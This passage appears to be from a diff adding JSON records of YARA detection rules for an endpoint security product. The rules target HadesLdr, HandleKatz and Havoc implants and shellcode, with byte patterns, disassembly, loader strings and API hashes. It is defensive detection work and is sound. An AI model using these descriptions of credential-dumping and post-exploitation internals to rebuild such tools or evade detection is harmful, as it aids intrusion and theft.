fullword ascii\n        $string4 = \"[-] Failed in sysNtProtectVirtualMemory (%u)\" fullword ascii\n        $string5 = \"[+] Finished !!!\" fullword ascii\n\n        $syscall = {\n                                                // sub_140002500   proc near\n            66 89 0D ?? ?? ?? 00                          // mov     cs:word_140006000, cx\n            C3                                            // retn\n                                                // sub_140002500   endp\n\n                                                // sub_140002508   proc near\n            48 89 0D ?? ?? ?? 00                          // mov     cs:qword_140006002, rcx\n            C3                                            // retn\n                                                // sub_140002508   endp\n\n                                                // sub_140002510   proc near\n            4C 8B D1                                      // mov     r10, rcx\n            66 8B 05 ?? ?? ?? 00                          // mov     ax, cs:word_140006000\n            FF 25 ?? ?? ?? 00                             // jmp     cs:qword_140006002\n            C3                                            // retn\n                                                // sub_140002510   endp\n\n                                                // sub_140002521   proc near\n            4C 8B D1                                      // mov     r10, rcx\n            66 8B 05 ?? ?? ?? 00                          // mov     ax, cs:word_140006000\n            FF 25 ?? ?? ?? 00                             // jmp     cs:qword_140006002\n            C3                                            // retn\n                                                // sub_140002521   endp\n\n                                                // sub_140002532   proc near\n            4C 8B D1                                      // mov     r10, rcx\n            66 8B 05 ?? ?? ?? 00                          // mov     ax, cs:word_140006000\n            FF 25 ?? ?? ?? 00                             // jmp     cs:qword_140006002\n            C3                                            // retn\n                                                // sub_140002532   endp\n\n                                                // sub_140002543   proc near\n            4C 8B D1                                      // mov     r10, rcx\n            66 8B 05 ?? ?? ?? 00                          // mov     ax, cs:word_140006000\n            FF 25 ?? ?? ?? 00                             // jmp     cs:qword_140006002\n            C3                                            // retn\n                                                // sub_140002543   endp\n        }\n\n    condition:\n        all of ($string*) or $syscall\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "hadesldr"
+  ],
+  "rule_creation_date": "2023-07-18",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.HadesLdr"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-handlekatz_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.568099Z",
+  "creation_date": "2026-03-23T11:46:25.568101Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.568108Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/codewhitesec/HandleKatz/"
+  ],
+  "name": "handlekatz.yar",
+  "content": "rule handlekatz_hacktool {\n    meta:\n        title = \"HandleKatz HackTool\"\n        id = \"71105a8b-5f6b-4023-a021-c8fe7166067c\"\n        description = \"Detects HandleKatz, a Position Independent Code (PIC) tool similar to Mimikatz, designed to extract NTLM hashes from memory.\\nIt is often used by attackers to compromise credentials and maintain persistence on a compromised system.\"\n        references = \"https://github.com/codewhitesec/HandleKatz/\"\n        date = \"2023-08-30\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.credential_access;attack.t1003.001\"\n        classification = \"Windows.HackTool.Handlekatz\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // b4d86911f9f86bbf968a55ab552ad88bc1d97da6d856ef45a9411244a828a050\n        // bd269ebf41afadfbf4753aed259d20e86c58befaa567ef28219e6127df0983af\n        // 65d7870b8422608ce8b9ac04e4f8b4592811de0a92a06e7a5953102938fb0c1d\n        // b5e3b38ee7b3096fdc5872ac43dcbe300bbc9178c7219fef486e32fb69372d80\n        // 6797c4662bb655383e8e9f9c5d0cfca54d3fcf7ec5c68a19448b56e9957b4547\n\n        $canary = \"d83fbc58e09de3a715f50f1c69b2721fab20b8b99e822dd88aad2b925453f3ab\"\n\n        $string_loader_1 = \"[*] HandleKatz return value: %d\" ascii fullword\n        $string_loader_2 = \"[*] HandleKatz output:\" ascii fullword\n        $string_loader_3 = \"[*] Recon only: %d\" ascii fullword\n        $string_loader_4 = \"[*] Path dmp: %s\" ascii fullword\n        $string_loader_5 = \"[*] Pid to clone from: %d\" ascii fullword\n\n        $args = {\n            8B 45 FC                                      // mov     eax, [rbp+var_4]\n            48 98                                         // cdqe\n            48 8D 14 C5 00 00 00 00                       // lea     rdx, ds:0[rax*8]\n            48 8B 45 30                                   // mov     rax, [rbp+arg_20]\n            48 01 D0                                      // add     rax, rdx\n            48 8B 00                                      // mov     rax, [rax]\n            48 8D 15 ?? ?? ?? 00                          // lea     rdx, aOutfile\n            48 89 C1                                      // mov     rcx, rax\n            E8 ?? ?? 00 00                                // call    strstr\n            48 85 C0                                      // test    rax, rax\n            74 ??                                         // jz      short loc_40188D\n            8B 45 FC                                      // mov     eax, [rbp+var_4]\n            48 98                                         // cdqe\n            48 8D 14 C5 00 00 00 00                       // lea     rdx, ds:0[rax*8]\n            48 8B 45 30                                   // mov     rax, [rbp+arg_20]\n            48 01 D0                                      // add     rax, rdx\n            48 8B 00                                      // mov     rax, [rax]\n            BA 3A 00 00 00                                // mov     edx, 3Ah\n            48 89 C1                                      // mov     rcx, rax\n            E8 ?? ?? 00 00                                // call    strchr\n        }\n\n    condition:\n        (3 of ($string_loader_*) or $args) and not $canary\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "handlekatz_hacktool"
+  ],
+  "rule_creation_date": "2023-08-30",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.Handlekatz"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-havoc_demon_4da5d0d28050_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.581270Z",
+  "creation_date": "2026-03-23T11:46:25.581272Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.581277Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/HavocFramework/Havoc"
+  ],
+  "name": "havoc_demon_4da5d0d28050.yar",
+  "content": "rule havoc_demon_4da5d0d28050 {\n    meta:\n        title = \"Havoc Demon Implant (4da5d0d28050)\"\n        id = \"afe1a39b-e438-4338-aa4d-4da5d0d28050\"\n        description = \"Detects the Havoc demon implant for x64.\\nHavoc Demon is a component of the Havoc framework used for post-exploitation activities.\\nIt establishes command and control communication and is often used in persistence mechanisms.\\nThis implant is part of a modular framework that allows attackers to maintain persistence and execute arbitrary commands on compromised systems.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/HavocFramework/Havoc\"\n        date = \"2022-10-21\"\n        modified = \"2025-06-05\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027;attack.command_and_control;attack.t1573.001;attack.privilege_escalation;attack.t1068;attack.persistence;attack.t1053.003\"\n        classification = \"Windows.Framework.Havoc\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 9aab17c41552d3739f5a7f51462eeea1633fe73ea485f38a0cc762b51bf4ffd5\n        // 0774865bd15bc87d73fa119dd92d4bfb3cc9256d999bc243aa33be5614450631\n        // a08a994b0febbf5b8f7914e769e81b79ad1b7aff166b49c413131a5ecf2a595e\n        // d25a754f5c1c783ff7eee78686497f1ecfc9746780b56a936463f99adabcce9d\n\n        // HashStringA\n        // https://github.com/HavocFramework/Havoc/blob/main/payloads/Demon/src/core/MiniStd.c#L100\n        $x_hash_string_v1 = {\n            B8 05 15 00 00                                // mov     eax, 1505h\n                                        // loc_140009815:\n            0F BE 11                                      // movsx   edx, byte ptr [rcx]\n            48 FF C1                                      // inc     rcx\n            84 D2                                         // test    dl, dl\n            (\n                74 07                                     // jz      short locret_140009826\n                6B C0 21                                  // imul    eax, 21h ; '!'\n                01 D0                                     // add     eax, edx\n                EB EF                                     // jmp     short loc_140009815\n                |\n                74 0E                                     // jz      short locret_140009C2D\n                41 89 C0                                  // mov     r8d, eax\n                41 C1 E0 05                               // shl     r8d, 5\n                44 01 C2                                  // add     edx, r8d\n                01 D0                                     // add     eax, edx\n                EB E8                                     // jmp     short loc_140009C15\n            )\n                                        // locret_140009826:\n            C3                                            // retn\n        }\n\n        // GetPeArch\n        // https://github.com/HavocFramework/Havoc/blob/main/payloads/Demon/src/inject/InjectUtil.c#L72\n        $x_get_arch = {\n            31 C0                                         // xor     eax, eax\n            48 85 C9                                      // test    rcx, rcx\n            74 20                                         // jz      short locret_14000B0B7\n            48 63 41 3C                                   // movsxd  rax, dword ptr [rcx+3Ch]\n            8B 54 01 18                                   // mov     edx, [rcx+rax+18h]\n            B8 01 00 00 00                                // mov     eax, 1\n            66 81 FA 0B 01                                // cmp     dx, 10Bh\n            74 0C                                         // jz      short locret_14000B0B7\n            31 C0                                         // xor     eax, eax\n            66 81 FA 0B 02                                // cmp     dx, 20Bh\n            0F 94 C0                                      // setz    al\n            01 C0                                         // add     eax, eax\n\n                                        // locret_14000B0B7:\n            C3                                            // retn\n        }\n\n        // https://github.com/HavocFramework/Havoc/blob/main/payloads/Demon/src/asm/Spoof.x64.asm\n        $x_spoof = {\n            41 5B                                         // pop     r11\n            48 83 C4 08                                   // add     rsp, 8\n            48 8B 44 24 18                                // mov     rax, [rsp-10h+arg_20]\n            4C 8B 10                                      // mov     r10, [rax]\n            4C 89 14 24                                   // mov     [rsp-10h+arg_8], r10\n            4C 8B 50 08                                   // mov     r10, [rax+8]\n            4C 89 58 08                                   // mov     [rax+8], r11\n            48 89 58 10                                   // mov     [rax+10h], rbx\n            48 8D 1D 09 00 00 00                          // lea     rbx, sub_A2D\n            48 89 18                                      // mov     [rax], rbx\n            48 89 C3                                      // mov     rbx, rax\n            41 FF E2                                      // jmp     r10\n        }\n\n        // GetReflectiveLoaderOffset\n        // if ( HashStringA( FunctionName ) == 0xa6caa1c5 || HashStringA( FunctionName ) == 0xffe885ef )\n        // https://github.com/HavocFramework/Havoc/blob/main/payloads/Demon/src/inject/InjectUtil.c#L56\n        $get_reflective_offset1 = { C5 A1 CA A6 } // ReflectiveLoader\n        $get_reflective_offset2 = { EF 85 E8 FF } // KaynLoader\n\n        $string1 = \"amsi.dllATVSH\" ascii fullword\n        $string2 = \"X-Havoc: true\" ascii fullword\n        $string3 = \"X-Havoc-Agent: Demon\" ascii fullword\n        $string4 = \"/text.gif\" ascii fullword\n        $string5 = \"POST\" wide fullword\n        $string6 = \"\\\\??\\\\C:\\\\Windows\\\\System32\\\\ntdll.dll\" wide fullword\n\n    condition:\n        5 of ($string*) or\n        2 of ($x_*) or\n        (\n            all of ($get_reflective_offset*) and\n            1 of ($x_*)\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "havoc_demon_4da5d0d28050"
+  ],
+  "rule_creation_date": "2022-10-21",
+  "rule_modified_date": "2025-06-05",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Havoc"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1053.003",
+    "attack.t1027",
+    "attack.t1573.001",
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-havoc_demon_cec16602e311_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.581240Z",
+  "creation_date": "2026-03-23T11:46:25.581242Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.581248Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/HavocFramework/Havoc"
+  ],
+  "name": "havoc_demon_cec16602e311.yar",
+  "content": "rule havoc_demon_cec16602e311 {\n    meta:\n        title = \"Havoc Demon Implant (cec16602e311)\"\n        id = \"32ccc95c-2387-45a1-8e4d-cec16602e311\"\n        description = \"Detects the Havoc demon implant for x86.\\nHavoc Demon is a component of the Havoc framework used for post-exploitation activities.\\nIt establishes command and control communication and is often used in persistence mechanisms.\\nThis implant is part of a modular framework that allows attackers to maintain persistence and execute arbitrary commands on compromised systems.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/HavocFramework/Havoc\"\n        date = \"2025-05-22\"\n        modified = \"2025-06-05\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027;attack.command_and_control;attack.t1573.001;attack.privilege_escalation;attack.t1068;attack.persistence;attack.t1053.003\"\n        classification = \"Windows.Framework.Havoc\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // a64aaa7c96a1a73f521c2d3ade1a3a492840eb7fccc4d3623a26467b40356c3e\n\n        // HashStringA\n        // https://github.com/HavocFramework/Havoc/blob/main/payloads/Demon/src/core/MiniStd.c#L100\n        $x_hash_string = {\n            B8 05 15 00 00                                // mov     eax, 1505h\n            89 E5                                         // mov     ebp, esp\n            8B 4D 08                                      // mov     ecx, [ebp+arg_0]\n                                        // loc_AE56:\n            0F BE 11                                      // movsx   edx, byte ptr [ecx]\n            41                                            // inc     ecx\n            84 D2                                         // test    dl, dl\n            74 07                                         // jz      short loc_AE65\n            6B C0 21                                      // imul    eax, 21h ; '!'\n            01 D0                                         // add     eax, edx\n            EB F1                                         // jmp     short loc_AE56\n                                        // loc_AE65:\n            5D                                            // pop     ebp\n            C3                                            // retn\n        }\n\n        // GetPeArch\n        // https://github.com/HavocFramework/Havoc/blob/main/payloads/Demon/src/inject/InjectUtil.c#L72\n        $x_get_arch = {\n            55                                            // push    ebp\n            31 C0                                         // xor     eax, eax\n            89 E5                                         // mov     ebp, esp\n            8B 55 08                                      // mov     edx, [ebp+arg_0]\n            85 D2                                         // test    edx, edx\n            74 1F                                         // jz      short loc_A706\n            8B 42 3C                                      // mov     eax, [edx+3Ch]\n            8B 54 02 18                                   // mov     edx, [edx+eax+18h]\n            B8 01 00 00 00                                // mov     eax, 1\n            66 81 FA 0B 01                                // cmp     dx, 10Bh\n            74 0C                                         // jz      short loc_A706\n            31 C0                                         // xor     eax, eax\n            66 81 FA 0B 02                                // cmp     dx, 20Bh\n            0F 94 C0                                      // setz    al\n            01 C0                                         // add     eax, eax\n\n                                        // loc_A706:\n            5D                                            // pop     ebp\n            C3                                            // retn\n        }\n\n        // https://github.com/HavocFramework/Havoc/blob/main/payloads/Demon/src/asm/Syscall.x86.asm\n        $x_syscall = {\n                                        // sub_7FF\n            8B 54 24 04                                   // mov     edx, [esp+arg_0]\n            C3                                            // retn\n\n                                        // sub_804\n            8B 1A                                         // mov     ebx, [edx]\n            8B 42 04                                      // mov     eax, [edx+4]\n            89 E2                                         // mov     edx, esp\n            83 EA 04                                      // sub     edx, 4\n            FF D3                                         // call    ebx\n            C3                                            // retn\n\n                                        // sub_811\n            64 A1 C0 00 00 00                             // mov     eax, fs:dword_C0\n            85 C0                                         // test    eax, eax\n            75 06                                         // jnz     short loc_821\n            B8 00 00 00 00                                // mov     eax, 0\n            C3                                            // retn\n                                        // loc_821:\n            B8 01 00 00 00                                // mov     eax, 1\n            C3                                            // retn\n        }\n\n        // GetReflectiveLoaderOffset\n        // https://github.com/HavocFramework/Havoc/blob/main/payloads/Demon/src/inject/InjectUtil.c#L56\n        // if ( HashStringA( FunctionName ) == 0xa6caa1c5 || HashStringA( FunctionName ) == 0xffe885ef )\n        $get_reflective_offset1 = { C5 A1 CA A6 } // ReflectiveLoader\n        $get_reflective_offset2 = { EF 85 E8 FF } // KaynLoader\n\n    condition:\n        2 of ($x_*) or\n        (\n            all of ($get_reflective_offset*) and\n            1 of ($x_*)\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "havoc_demon_cec16602e311"
+  ],
+  "rule_creation_date": "2025-05-22",
+  "rule_modified_date": "2025-06-05",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Havoc"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1053.003",
+    "attack.t1027",
+    "attack.t1573.001",
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-havoc_shellcode_812d26fe9030_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.575989Z",
+  "creation_date": "2026-03-23T11:46:25.575991Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.575997Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/HavocFramework/Havoc"
+  ],
+  "name": "havoc_shellcode_812d26fe9030.yar",
+  "content": "rule havoc_shellcode_812d26fe9030 {\n    meta:\n        title = \"Havoc Shellcode Implant (812d26fe9030)\"\n        id = \"965e6a1e-c5c8-479f-bb92-812d26fe9030\"\n        description = \"Detects the Havoc shellcode implant for x64.\\nHavoc Demon is a component of the Havoc framework used for post-exploitation activities.\\nIt establishes command and control communication and is often used in persistence mechanisms.\\nThis implant is part of a modular framework that allows attackers to maintain persistence and execute arbitrary commands on compromised systems.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/HavocFramework/Havoc\"\n        date = \"2022-10-21\"\n        modified = \"2025-06-05\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027;attack.command_and_control;attack.t1573.001;attack.privilege_escalation;attack.t1068;attack.persistence;attack.t1053.003\"\n        classification = \"Windows.Framework.Havoc\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 5e2f5d13f7eaf0d1f651b3836f405f7fd230eb42491ff741071daf84583acb16\n\n        $start = {\n            56                                            // push    rsi\n            48 89 E6                                      // mov     rsi, rsp\n            48 83 E4 F0                                   // and     rsp, 0FFFFFFFFFFFFFFF0h\n            48 83 EC 20                                   // sub     rsp, 20h\n            E8 0F 00 00 00                                // call    Entry\n            48 89 F4                                      // mov     rsp, rsi\n            5E                                            // pop     rsi\n            C3                                            // retn\n        }\n\n        // KaynCaller\n        // https://github.com/HavocFramework/Havoc/blob/main/payloads/Shellcode/Source/Asm/x64/Asm.s\n        $kayn_caller = {\n            E8 00 00 00 00                                // call    $+5\n                                        // loc_345:\n            59                                            // pop     rcx\n                                        // loc_346:\n            48 31 DB                                      // xor     rbx, rbx\n            BB 4D 5A 00 00                                // mov     ebx, 5A4Dh\n            48 FF C1                                      // inc     rcx\n            (66 3B 19 | 3E 66 3B 19)                      // cmp     bx, [rcx]\n            (75 F0 | 75 EF)                               // jnz     short loc_346\n            48 31 C0                                      // xor     rax, rax\n            66 8B 41 3C                                   // mov     ax, [rcx+3Ch]\n            48 01 C8                                      // add     rax, rcx\n            48 31 DB                                      // xor     rbx, rbx\n            66 81 C3 50 45                                // add     bx, 4550h\n            (66 3B 18 | 3E 66 3B 18)                      // cmp     bx, [rax]\n            (75 D9 | 75 D7)                               // jnz     short loc_346\n            48 89 C8                                      // mov     rax, rcx\n            C3                                            // retn\n        }\n\n        // https://github.com/HavocFramework/Havoc/blob/main/payloads/Shellcode/Include/Core.h\n        $s1 = {53 17 E6 70} // NTDLL_HASH\n        $s2 = {43 6A 45 9E} // SYS_LDRLOADDLL\n        $s3 = {EC B8 83 F7} // SYS_NTALLOCATEVIRTUALMEMORY\n        $s4 = {88 28 E9 50} // SYS_NTPROTECTEDVIRTUALMEMORY\n\n    condition:\n        $start and $kayn_caller and all of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "havoc_shellcode_812d26fe9030"
+  ],
+  "rule_creation_date": "2022-10-21",
+  "rule_modified_date": "2025-06-05",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Havoc"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1053.003",
+    "attack.t1027",
+    "attack.t1573.001",
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-havoc_shellcode_dbb1510674d0_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.567539Z",
+  "creation_date": "2026-03-23T11:46:25.567541Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.567547Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/HavocFramework/Havoc"
+  ],
+  "name": "havoc_shellcode_dbb1510674d0.yar",
+  "content": "rule havoc_shellcode_dbb1510674d0 {\n    meta:\n        title = \"Havoc Shellcode Implant (dbb1510674d0)\"\n        id = \"dc5e4119-2611-4564-9ef6-dbb1510674d0\"\n        description = \"Detects the Havoc shellcode implant for x86.\\nHavoc Demon is a component of the Havoc framework used for post-exploitation activities.\\nIt establishes command and control communication and is often used in persistence mechanisms.\\nThis implant is part of a modular framework that allows attackers to maintain persistence and execute arbitrary commands on compromised systems.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/HavocFramework/Havoc\"\n        date = \"2025-05-22\"\n        modified = \"2025-06-05\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027;attack.command_and_control;attack.t1573.001;attack.privilege_escalation;attack.t1068;attack.persistence;attack.t1053.003\"\n        classification = \"Windows.Framework.Havoc\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // a64aaa7c96a1a73f521c2d3ade1a3a492840eb7fccc4d3623a26467b40356c3e\n\n        $start = {\n            56                                            // push    esi\n            89 E6                                         // mov     esi, esp\n            83 E4 F0                                      // and     esp, 0FFFFFFF0h\n            83 EC 20                                      // sub     esp, 20h\n            E8 06 00 00 00                                // call    Entry\n            89 F4                                         // mov     esp, esi\n            5E                                            // pop     esi\n            C3                                            // retn\n        }\n\n        // KaynCaller\n        // https://github.com/HavocFramework/Havoc/blob/main/payloads/Shellcode/Source/Asm/x86/Asm.s\n        $kayn_caller = {\n            E8 00 00 00 00                                // call    $+5\n                                        // loc_375:\n            59                                            // pop     ecx\n                                        // loc_376:\n            31 DB                                         // xor     ebx, ebx\n            BB 4D 5A 00 00                                // mov     ebx, 5A4Dh\n            41                                            // inc     ecx\n            66 3B 19                                      // cmp     bx, [ecx]\n            75 F3                                         // jnz     short loc_376\n            31 C0                                         // xor     eax, eax\n            66 8B 41 3C                                   // mov     ax, [ecx+3Ch]\n            01 C8                                         // add     eax, ecx\n            31 DB                                         // xor     ebx, ebx\n            66 81 C3 50 45                                // add     bx, 4550h\n            66 3B 18                                      // cmp     bx, [eax]\n            75 DF                                         // jnz     short loc_376\n            89 C8                                         // mov     eax, ecx\n            C3                                            // retn\n        }\n\n        // https://github.com/HavocFramework/Havoc/blob/main/payloads/Shellcode/Include/Core.h\n        $s1 = {53 17 E6 70} // NTDLL_HASH\n        $s2 = {43 6A 45 9E} // SYS_LDRLOADDLL\n        $s3 = {EC B8 83 F7} // SYS_NTALLOCATEVIRTUALMEMORY\n        $s4 = {88 28 E9 50} // SYS_NTPROTECTEDVIRTUALMEMORY\n\n    condition:\n        $start and $kayn_caller and all of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "havoc_shellcode_dbb1510674d0"
+  ],
+  "rule_creation_date": "2025-05-22",
+  "rule_modified_date": "2025-06-05",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Havoc"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
